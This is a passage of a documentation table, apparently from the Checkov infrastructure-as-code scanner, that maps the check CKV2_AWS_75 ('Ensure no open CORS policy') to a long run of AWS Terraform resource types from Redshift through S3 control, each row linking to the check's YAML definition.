[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3218 | CKV2_AWS_75 | resource | aws_redshift_scheduled_action | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3219 | CKV2_AWS_75 | resource | aws_redshift_security_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3220 | CKV2_AWS_75 | resource | aws_redshift_snapshot_copy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3221 | CKV2_AWS_75 | resource | aws_redshift_snapshot_copy_grant | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3222 | CKV2_AWS_75 | resource | aws_redshift_snapshot_schedule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3223 | CKV2_AWS_75 | resource | aws_redshift_snapshot_schedule_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3224 | CKV2_AWS_75 | resource | aws_redshift_subnet_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3225 | CKV2_AWS_75 | resource | aws_redshift_usage_limit | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3226 | CKV2_AWS_75 | resource | aws_redshiftdata_statement | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3227 | CKV2_AWS_75 | resource | aws_redshiftserverless_custom_domain_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3228 | CKV2_AWS_75 | resource | aws_redshiftserverless_endpoint_access | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3229 | CKV2_AWS_75 | resource | aws_redshiftserverless_namespace | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3230 | CKV2_AWS_75 | resource | aws_redshiftserverless_resource_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3231 | CKV2_AWS_75 | resource | aws_redshiftserverless_snapshot | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3232 | CKV2_AWS_75 | resource | aws_redshiftserverless_usage_limit | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3233 | CKV2_AWS_75 | resource | aws_redshiftserverless_workgroup | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3234 | CKV2_AWS_75 | resource | aws_region_info | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3235 | CKV2_AWS_75 | resource | aws_rekognition_collection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3236 | CKV2_AWS_75 | resource | aws_rekognition_project | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3237 | CKV2_AWS_75 | resource | aws_rekognition_stream_processor | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3238 | CKV2_AWS_75 | resource | aws_resiliencehub_resiliency_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3239 | CKV2_AWS_75 | resource | aws_resourceexplorer2_index | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3240 | CKV2_AWS_75 | resource | aws_resourceexplorer2_view | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3241 | CKV2_AWS_75 | resource | aws_resourcegroups_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3242 | CKV2_AWS_75 | resource | aws_resourcegroups_resource | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3243 | CKV2_AWS_75 | resource | aws_rolesanywhere_profile | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3244 | CKV2_AWS_75 | resource | aws_rolesanywhere_trust_anchor | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3245 | CKV2_AWS_75 | resource | aws_root | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3246 | CKV2_AWS_75 | resource | aws_root_access_key | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3247 | CKV2_AWS_75 | resource | aws_route | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3248 | CKV2_AWS_75 | resource | aws_route53_cidr_collection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3249 | CKV2_AWS_75 | resource | aws_route53_cidr_location | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3250 | CKV2_AWS_75 | resource | aws_route53_delegation_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3251 | CKV2_AWS_75 | resource | aws_route53_health_check | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3252 | CKV2_AWS_75 | resource | aws_route53_hosted_zone_dnssec | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3253 | CKV2_AWS_75 | resource | aws_route53_key_signing_key | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3254 | CKV2_AWS_75 | resource | aws_route53_query_log | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3255 | CKV2_AWS_75 | resource | aws_route53_record | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3256 | CKV2_AWS_75 | resource | aws_route53_resolver_config | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3257 | CKV2_AWS_75 | resource | aws_route53_resolver_dnssec_config | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3258 | CKV2_AWS_75 | resource | aws_route53_resolver_endpoint | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3259 | CKV2_AWS_75 | resource | aws_route53_resolver_firewall_config | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3260 | CKV2_AWS_75 | resource | aws_route53_resolver_firewall_domain_list | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3261 | CKV2_AWS_75 | resource | aws_route53_resolver_firewall_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3262 | CKV2_AWS_75 | resource | aws_route53_resolver_firewall_rule_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3263 | CKV2_AWS_75 | resource | aws_route53_resolver_firewall_rule_group_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3264 | CKV2_AWS_75 | resource | aws_route53_resolver_query_log_config | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3265 | CKV2_AWS_75 | resource | aws_route53_resolver_query_log_config_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3266 | CKV2_AWS_75 | resource | aws_route53_resolver_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3267 | CKV2_AWS_75 | resource | aws_route53_resolver_rule_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3268 | CKV2_AWS_75 | resource | aws_route53_traffic_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3269 | CKV2_AWS_75 | resource | aws_route53_traffic_policy_instance | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3270 | CKV2_AWS_75 | resource | aws_route53_vpc_association_authorization | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3271 | CKV2_AWS_75 | resource | aws_route53_zone | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3272 | CKV2_AWS_75 | resource | aws_route53_zone_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3273 | CKV2_AWS_75 | resource | aws_route53domains_delegation_signer_record | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3274 | CKV2_AWS_75 | resource | aws_route53domains_domain | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3275 | CKV2_AWS_75 | resource | aws_route53domains_registered_domain | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3276 | CKV2_AWS_75 | resource | aws_route53profiles_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3277 | CKV2_AWS_75 | resource | aws_route53profiles_profile | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3278 | CKV2_AWS_75 | resource | aws_route53profiles_resource_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3279 | CKV2_AWS_75 | resource | aws_route53recoverycontrolconfig_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3280 | CKV2_AWS_75 | resource | aws_route53recoverycontrolconfig_control_panel | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3281 | CKV2_AWS_75 | resource | aws_route53recoverycontrolconfig_routing_control | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3282 | CKV2_AWS_75 | resource | aws_route53recoverycontrolconfig_safety_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3283 | CKV2_AWS_75 | resource | aws_route53recoveryreadiness_cell | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3284 | CKV2_AWS_75 | resource | aws_route53recoveryreadiness_readiness_check | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3285 | CKV2_AWS_75 | resource | aws_route53recoveryreadiness_recovery_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3286 | CKV2_AWS_75 | resource | aws_route53recoveryreadiness_resource_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3287 | CKV2_AWS_75 | resource | aws_route_table | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3288 | CKV2_AWS_75 | resource | aws_route_table_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3289 | CKV2_AWS_75 | resource | aws_rum_app_monitor | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3290 | CKV2_AWS_75 | resource | aws_rum_metrics_destination | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3291 | CKV2_AWS_75 | resource | aws_s3_access_point | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3292 | CKV2_AWS_75 | resource | aws_s3_account_public_access_block | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3293 | CKV2_AWS_75 | resource | aws_s3_bucket | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3294 | CKV2_AWS_75 | resource | aws_s3_bucket_accelerate_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3295 | CKV2_AWS_75 | resource | aws_s3_bucket_acl | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3296 | CKV2_AWS_75 | resource | aws_s3_bucket_analytics_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3297 | CKV2_AWS_75 | resource | aws_s3_bucket_cors_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3298 | CKV2_AWS_75 | resource | aws_s3_bucket_intelligent_tiering_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3299 | CKV2_AWS_75 | resource | aws_s3_bucket_inventory | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3300 | CKV2_AWS_75 | resource | aws_s3_bucket_lifecycle_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3301 | CKV2_AWS_75 | resource | aws_s3_bucket_logging | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3302 | CKV2_AWS_75 | resource | aws_s3_bucket_metric | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3303 | CKV2_AWS_75 | resource | aws_s3_bucket_notification | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3304 | CKV2_AWS_75 | resource | aws_s3_bucket_object | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3305 | CKV2_AWS_75 | resource | aws_s3_bucket_object_lock_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3306 | CKV2_AWS_75 | resource | aws_s3_bucket_ownership_controls | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3307 | CKV2_AWS_75 | resource | aws_s3_bucket_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3308 | CKV2_AWS_75 | resource | aws_s3_bucket_public_access_block | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3309 | CKV2_AWS_75 | resource | aws_s3_bucket_replication_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3310 | CKV2_AWS_75 | resource | aws_s3_bucket_request_payment_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3311 | CKV2_AWS_75 | resource | aws_s3_bucket_server_side_encryption_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3312 | CKV2_AWS_75 | resource | aws_s3_bucket_versioning | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3313 | CKV2_AWS_75 | resource | aws_s3_bucket_website_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3314 | CKV2_AWS_75 | resource | aws_s3_directory_bucket | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3315 | CKV2_AWS_75 | resource | aws_s3_object | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3316 | CKV2_AWS_75 | resource | aws_s3_object_copy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3317 | CKV2_AWS_75 | resource | aws_s3control_access_grant | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3318 | CKV2_AWS_75 | resource | aws_s3control_access_grants_instance | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3319 | CKV2_AWS_75 | resource | aws_s3control_access_grants_instance_resource_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3320 | CKV2_AWS_75 | resource | aws_s3control_access_grants_location | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3321 | CKV2_AWS_75 | resource | aws_s3control_access_point_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3322 | CKV2_AWS_75 | resource | aws_s3control_bucket | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3323 | CKV2_AWS_75 | resource | aws_s3control_bucket_lifecycle_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3324 | CKV2_AWS_75 | resource | aws_s3control_bucket_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3325 | CKV2_AWS_75 | resource | aws_s3control_multi_region_access_point | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3326 | CKV2_AWS_75 | resource | aws_s3control_multi_region_access_point_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3327 | CKV2_AWS_75 | resource | aws_s3control_object_lambda_access_point | Ensure no open CORS policy | Terraform | 